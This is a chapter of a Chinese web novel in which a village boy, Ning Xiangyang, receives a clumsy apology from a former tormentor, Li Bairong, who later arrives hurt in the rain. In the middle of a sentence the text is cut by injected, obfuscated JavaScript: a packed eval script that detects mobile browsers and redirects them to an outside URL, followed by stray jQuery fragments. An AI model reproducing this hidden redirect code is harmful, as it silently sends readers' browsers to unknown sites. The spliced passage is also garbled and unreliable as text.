51. 第 51 章

作品:《小镇团宠日常[千禧年]

    夕阳西下,给北山宁村那些错落的屋顶染上了一层温暖的金边。


    宁向阳站在门口。


    林溪推着自行车,车后座的箱子里,台风露出半个脑袋。


    她回头朝宁向阳摆了摆手:“向阳哥,那我们回去啦!过几天再来!”


    “小溪!台风!路上小心!”宁向阳站在门槛边挥着手,目送着林溪蹬动自行车。


    车轮碾过村道的碎石子,转过一个弯,消失在拐角处。


    宁向阳在门口站了一会儿,才转身回屋。


    院子里堆着小山似的野菜,那是今天下午他和林溪她们一起进山采摘的成果。


    “这一捆给宁三爷……这一把给李奶奶……还有这些给王大爷……”他蹲下身,嘴里念叨着,将野菜分成几份后用草绳扎好,然后装进一个旧竹背篓里。


    “好啦!”


    他背上篓子走到门口,正要推门出去,眼角的余光却瞥见斜对面一户人家的屋角后面,似乎有个影子飞快地缩了回去。


    宁向阳心里疑惑。


    但他想起了妈妈以前反复叮嘱过的话:遇到鬼鬼祟祟的人,要锁好家门,保护自己。


    于是,他默默地把家里的木门从外面锁好,然后朝着几位爷爷奶奶家走去。


    走在村里的小路上,宁向阳发现最近好像很少有人聚在一起,更没有人会冲着他喊难听的外号了。


    偶尔遇到几个在路边玩的孩子,有的还会对他笑。


    这让宁向阳心里暖暖的,他知道,这都是因为小溪、宜歌和小恬她们在悄悄地帮他。


    送完野菜,宁向阳又陪着几位热情留他喝水的老人聊了会儿天,天色已经渐渐暗了下来。宁向阳谢绝了爷爷奶奶们留饭的好意,独自一人踏上了回家的路。


    这个时间,村里人大多已经回家准备晚饭,炊烟袅袅,路上行人稀少,显得格外安静。


    这种安静,反而让宁向阳心里有点发毛。


    他总觉得,身后好像有脚步声跟着。


    手心开始冒汗,他在心里一遍遍给自己鼓劲:“向阳可是要成为英雄的人,是男子汉!不怕不怕!”


    可越是这样想,心跳得越快。


    他的脚步不自觉地放轻,连呼吸都因为紧张而变得有些紊乱。


    就在那若有若无的脚步声似乎又靠近了一点点时,宁向阳猛地停下,突然转过头朝身后大喊一声:“谁啊?!谁在后面?!”


    “啊——!”


    他身后不远处,一个原本也屏息凝神跟着的影子,被他这突如其来的一嗓子吓得魂飞魄散,惊叫一声,一屁股跌坐在地上。


    宁向阳定睛一看,借着远处窗户透出的昏黄灯光,认出了那人。


    “你是李奶奶家的那个……那个谁!”他指着坐在地上的男孩,有点印象,是以前经常带头骂他的那群孩子里的一个。


    “你干嘛呀!吓死人了!”李百荣手忙脚乱地从地上爬起来,拍打着裤子上的灰尘,又羞又恼。


    “你才吓人呢!”宁向阳胆子也回来了些,鼓起勇气反问道,“你一直跟在我后面干什么?”


    “我、我……”李百荣被他这么直白一问,顿时语塞,脸有点发烧,磕巴了好几下,最后梗着脖子说,“这条路是你家开的啊?我就走走,不行吗?你有意见?”


    宁向阳皱着眉头,很认真地想了想,又问:“你是有事找我吗?”


    “你听不懂人话吗?我都说了就是走走!你……”李百荣习惯性地想怼回去,可想到自己今天跟了这一路的目的,话到嘴边又卡住了。


    空气又安静下来,只有远处不知谁家的狗叫了两声。


    “啊?”宁向阳挠了挠头。


    他习惯了别人对他恶言恶语,但这种骂到一半突然没下文的情况,还是第一次遇到,让他有点摸不着头脑。


    “那我回家了。”他搞不明白,干脆不想了,转过身继续走自己的路。


    “诶!你等等!”李百荣见他要走,心里一急,赶紧上前几步,拦在了宁向阳面前。


    他挣扎了好一会儿,脸上表情变来变去,最终用几乎比蚊子还小的声音含糊了一句:“……对不起。”


    “什么?”宁向阳没听清,往前凑了凑,“你说什么?”


    第一次鼓起的勇气,在第二次开口时已经泄得差不多了。


    李百荣又恢复了以往的傲气,他别开脸,转身边走边扔下最近学来的一句:“反正我已经道歉了!我们之间的恩怨一笔勾销!”


    这把宁向阳彻底搞懵了。


    他困惑地眨了眨眼,对着李百荣的背影说道:“我还没接受你的道歉呢,还有,什么是恩怨啊?”


    他脑子里对这个词没什么概念,对他来说,李百荣和其他骂过他的孩子没什么区别,谈不上什么特别的仇恨,他只是不开心而已。


    原本这几天,李百荣一直纠结着,今天下定决心才来道歉。


    此刻听到宁向阳这回应,他只觉得一股无力感涌上来,感觉自己才是个傻子。


    天色已经昏暗,村道旁一盏老旧的路灯亮起,投下昏黄的光晕。


    站在光里的宁向阳,脸上是纯粹的疑惑,眼神干净。


    在这一刻,李百荣觉得眼前这个高高瘦瘦的人,好像也没那么傻。


    “那你还想让我怎么样?”李百荣硬邦邦地反问道,那语气听起来完全不像是来道歉的,倒像是来讨债的。


    “怎么样?”宁向阳被问住了。


    他根本没想过这个问题。


    他只知道,道歉是对方的事,接不接受是自己的事。


    就像小溪以前跟他说过:凭什么别人伤害了我,只要说句“对不起”,我就非得原谅,好像那些伤害从没发生过一样?


    李百荣见宁向阳不说话,以为他是在考虑条件。


    这时,远处隐隐传来他奶喊他回家吃饭的声音,他匆匆丢下一句:“反正我是道歉了!这事儿先这样!你想要什么补偿想好了再说!”


    说完,也不等宁向阳回应,拔腿就朝家的方向跑了,留下宁向阳一个人站在路灯下,更加困惑地挠着头。


    接下来的几天,事情变得有点奇怪。


    只要宁向阳一早出门,准备搭王大爷的车去镇上,总能看见李百荣蹲在他家院子外面的墙角。


    一见他出来,李百荣第一句话永远是:“喂,你想要什么?”


    宁向阳每次都只是摇摇头,然后坐上王大爷的三轮车离开。


    也有几次宁向阳没出门,而是林溪她们过来找他玩,正好撞见蹲守的李百荣。


    李百荣一看到林溪,就像老鼠见了猫,二话不说扭头就跑,消失得无影无踪。


    在林溪可能出现的地方,方圆几十米内,绝对找不到李百荣的踪迹。


    这天是个阴雨绵绵的日子,冷风飕飕地往骨头缝里钻。


    宁向阳待在家里,开着那盏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081632|189922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光线有些昏黄的旧台灯,就着半开的窗户透进来的微光,坐在桌前折着小星星。


    每个人的星星所用到的纸条图案都不一样,现在每个玻璃瓶里都已经装了大半瓶。


    他折得很慢,很认真,虽然已经折了不少日子,但手指依旧不算灵巧,每一个步骤都很生疏。


    “咚咚咚!”一阵敲门声透过淅淅沥沥的雨声传来,还夹杂着几声模糊的叫喊。


    “来了来了!”宁向阳放下折到一半、有些歪扭的星星,起身找了把黑布伞,走到院子里拉开那扇木门。


    门外,李百荣提着个小竹篮站在那里,浑身湿透,头发贴在额头上,不住地往下滴水。


    他裤子的膝盖部位沾满了泥浆,还磨破了一个小洞,露出里面擦伤的皮肤。


    “你是摔了吗?”宁向阳吓了一跳,赶紧把手里的伞往李百荣那边倾过去。


    李百荣却对自己这副狼狈相毫不在意。


    他左右看了看,没发现那个疯子的身影,便很自然地侧身从宁向阳旁边挤进了院子,嘴里说道:“我奶奶让我给你送点她新做的酱菜,喂,你家有药吗?”


    “有的有的!”宁向阳暂时把两人之间那点事抛到了九霄云外,将李百荣领进堂屋,自己转身就去里间找药。


    李百荣把手里的小竹篮放在方桌上,目光随意地打量着这个比他家还要简陋些的房间。


    当他的视线扫过桌面时,一下子就被那几个装着五颜六色小星星的玻璃瓶,还有旁边印着漂亮图案的纸条吸引住了。


    这明显不是村里常见的东西。


    他刚想凑近看,宁向阳已经抱着一个药箱走了出来。


    “给你药。”宁向阳把医药箱放在桌上,很认真地提醒了一句,“桌子上的东西不要乱碰哦,会弄坏的。”


    “切!谁稀罕碰!”李百荣撇撇嘴,收回目光,转身走到椅子边坐下。


    他卷起湿漉漉的裤腿,露出膝盖上那片擦伤,伤口边缘沾着泥水,有点发红。


    宁向阳打开医药箱,里面整整齐齐码放着各种常用药品,纱布、棉签一应俱全。


    林溪她们上次来,看他家里的药又少又乱,特意一起去镇上买的这个箱子,还仔细教过他一些常用药的用途。


    可此刻,看着花花绿绿的药瓶和盒子,宁向阳有点犯晕了,手指在箱子上方犹豫地移来移去,不知道该先拿哪个。


    “你在干嘛?磨蹭什么呢?”李百荣等得不耐烦,看他迟迟不动手,心里甚至阴暗地怀疑这傻子是不是想趁机报复自己。


    “嗯……这个,这个,还有这些是不是都要涂一遍?”宁向阳拿起几瓶五颜六色的药瓶,不确定地问。


    妈妈以前教过一点,林溪她们也说过,可他记得不牢,药瓶上那些复杂的字更是一个都不认识。


    “都要涂一遍?你当我是田鼠啊?”李百荣一听这离谱的说法,差点气笑,一把从宁向阳手里拿过箱子,“连这个都不会,你是怎么长这么大的?”


    宁向阳很老实地回答:“吃饭啊。”


    “……跟你说话真没劲。”李百荣无语地翻了个白眼,懒得再跟他掰扯。


    他熟练地从箱子里找出碘伏和棉签,又拿出那瓶药粉。


    宁向阳局促地站在对面,看着李百荣利落的动作,不知道自己该做什么,只好干站着。


    雨点敲打着窗棂,发出滴滴答答的声响,屋里一时只剩下李百荣轻微的抽气声。